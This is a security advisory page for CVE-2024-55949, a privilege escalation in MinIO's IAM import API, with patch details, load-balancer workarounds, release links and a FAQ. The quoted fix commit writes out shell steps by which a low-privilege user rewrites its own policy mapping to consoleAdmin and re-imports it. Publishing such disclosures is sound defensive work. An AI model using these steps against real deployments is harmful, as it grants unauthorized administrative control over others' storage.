CVE-2024-55949: Privilege escalation in IAM import API in MinIO

Published Dec 16, 2024
·
Updated

Impact Privilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f

Patches commit f246c9053f9603e610d98439799bdd2a6b293427 Author: Aditya Manthramurthy <donatello@users.noreply.github.com> Date: Wed Dec 11 18:09:40 2024 -0800

fix: Privilege escalation in IAM import API (#20756) This API had missing permissions checking, allowing a user to change their policy mapping by: 1. Craft iam-info.zip file: Update own user permission in usermappings.json 2. Upload it via mc admin cluster iam import nobody iam-info.zip Here nobody can be a user with pretty much any kind of permission (but not anonymous) and this ends up working. Some more detailed steps - start from a fresh setup: ./minio server /tmp/d{1...4} & mc alias set myminio http://localhost:9000 minioadmin minioadmin mc admin user add myminio nobody nobody123 mc admin policy attach myminio readwrite nobody nobody123 mc alias set nobody http://localhost:9000 nobody nobody123 mc admin cluster iam export myminio mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x cd /tmp/x unzip myminio-iam-info.zip echo '{"nobody":{"version":1,"policy":"consoleAdmin","updatedAt":"2024-08-13T19:47:10.1Z"}}' > \ iam-assets/usermappings.json zip -r myminio-iam-info-updated.zip iam-assets/ mc admin cluster iam import nobody ./myminio-iam-info-updated.zip mc admin service restart nobody

Workarounds There are no workarounds possible, all users are advised to upgrade immediately if you don't run MinIO behind a load balancer.

Behind a load balancer / firewall such as nginx .

location /minio/admin/v2/import-iam { ... }

location /minio/admin/v3/import-iam-v2 { ...

Following locations can be blocked from external access, temporarily disallowing the API calls completely until the deployments can be upgraded.

References Refer https://github.com/minio/minio/pull/20756 for more information

Binary Releases AiStor Containers quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z.fips

AiStor Binaries Architecture: linux/amd64 - https://dl.min.io/aistor/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z

Architecture: linux/arm64 - https://dl.min.io/aistor/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T13-42-41Z

Architecture: windows/amd64 - https://dl.min.io/aistor/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z

Community Containers quay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z quay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z.fips

Community Binaries Architecture: linux/amd64 - https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z

Architecture: linux/arm64 - https://dl.min.io/server/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T22-19-12Z

Architecture: windows/amd64 - https://dl.min.io/server/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z

Credits Credit goes to National Security Agency for reporting this issue.

Other sources

MinIO is a high-performance, S3 compatible object store, open sourced under GNU AGPLv3 license. Minio is subject to a privilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f. This issue has been addressed in commit f246c9053f9603e610d98439799bdd2a6b293427 which is included in RELEASE.2024-12-13T22-19-12Z. There are no workarounds possible, all users are advised to upgrade immediately.

— NVD

Affected Software

1 affected componentFixes available
go/github.com/minio/minio>=0.0.0-20220623162515-580d9db85e04<0.0.0-20241213221912-68b004a48f41
0.0.0-20241213221912-68b004a48f41

Event History

Dec 16, 2024
Advisory Published
via GitHub·05:27 PM
Data Sourced
via GitHub·05:27 PM
DescriptionWeaknessAffected Software
Advisory Published
via GitHub·05:27 PM
CVE Published
via MITRE·08:02 PM
Data Sourced
via MITRE·08:02 PM
DescriptionWeakness
Data Sourced
via NVD·08:15 PM
DescriptionSeverityWeakness
Updated
via GitHub·09:47 PM
Weakness
Dec 17, 2024
Updated
via GitHub·04:04 PM
Description
Dec 19, 2024
Updated
via GitHub·03:04 PM
Description
Dec 20, 2024
Updated
via GitHub·02:09 PM
Description

Frequently Asked Questions

1

What is the severity of CVE-2024-55949?

CVE-2024-55949 is classified as a medium severity vulnerability due to its potential for privilege escalation.

2

How do I fix CVE-2024-55949?

To fix CVE-2024-55949, update your MinIO installation to version 0.0.0-20241213221912-68b004a48f41 or later.

3

Who is affected by CVE-2024-55949?

All users of the IAM import API in MinIO versions between 0.0.0-20220623162515-580d9db85e04 and 0.0.0-20241213221912-68b004a48f41 are affected by CVE-2024-55949.

4

What type of vulnerability is CVE-2024-55949?

CVE-2024-55949 is a privilege escalation vulnerability in the IAM import API of MinIO.

5

When was CVE-2024-55949 disclosed?

CVE-2024-55949 was disclosed on December 11, 2024.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203